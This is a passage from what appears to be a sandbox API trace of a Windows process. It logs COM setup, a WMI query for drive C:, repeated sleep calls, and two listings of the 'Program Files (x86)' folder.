[3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1f0fe5e0 | out: ppvObject=0x1f0fe5e0*=0x1ec01660) returned 0x0 [0064.374] IWbemServices:GetObject (in: This=0x1ec01660, strObjectPath="win32_logicaldisk.deviceid=\"C:\"", lFlags=0, pCtx=0x0, ppObject=0x1f0feb40*=0x0, ppCallResult=0x0 | out: ppObject=0x1f0feb40*=0x1ec34e40, ppCallResult=0x0) returned 0x0 [0124.049] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1f0ffac0 | out: pperrinfo=0x1f0ffac0*=0x0) returned 0x1 Thread: id = 113 os_tid = 0x754 Thread: id = 137 os_tid = 0xcf4 [0067.876] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0067.877] CoGetContextToken (in: pToken=0x1f35f960 | out: pToken=0x1f35f960) returned 0x0 [0067.877] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1f35f998 | out: ppvObject=0x1f35f998*=0x12e64e8) returned 0x0 [0067.877] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1f35fa08 | out: pThreadType=0x1f35fa08*=0) returned 0x0 [0067.877] IUnknown:Release (This=0x12e64e8) returned 0x0 [0067.877] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0067.877] CoUninitialize () [0067.877] RoInitialize () returned 0x1 [0067.877] RoUninitialize () returned 0x0 [0067.882] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.059] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.259] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.347] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.372] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.462] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.535] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.562] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0068.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35ead0) returned 1 [0068.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1f35e570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0068.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x1f35e7f0 | out: lpFindFileData=0x1f35e7f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.826] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.826] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4665f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4665f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0068.826] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x552bd6b8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x552bd6b8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0068.826] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.826] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x19640a8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19640a8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0068.827] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0068.827] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0068.827] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x49ecb94e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x49ecb94e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0068.827] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x440505, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440505, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1 [0068.827] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0068.827] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41c3d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3cdf28, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3cdf28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b317b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc583dc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0068.828] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x41a05b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x41a05b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0068.829] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x41a05b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x41a05b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0068.829] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35ea10) returned 1 [0068.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35e9d0) returned 1 [0068.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35ead0) returned 1 [0068.829] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1f35e570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0068.829] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x1f35e7f0 | out: lpFindFileData=0x1f35e7f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.830] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x4665f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4665f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x552bd6b8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x552bd6b8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x19640a8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19640a8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0068.830] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x132704c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x132704c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x49ecb94e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x49ecb94e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x440505, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x440505, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70af849b, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x70af849b, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x70af849b, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc41c3d7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71274d1e, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3cdf28, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3cdf28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0068.831] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b317b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0068.832] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc583dc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0068.832] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0068.832] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f35e7b0 | out: lpFindFileData=0x1f35e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0068.832] FindNextFileW (in: 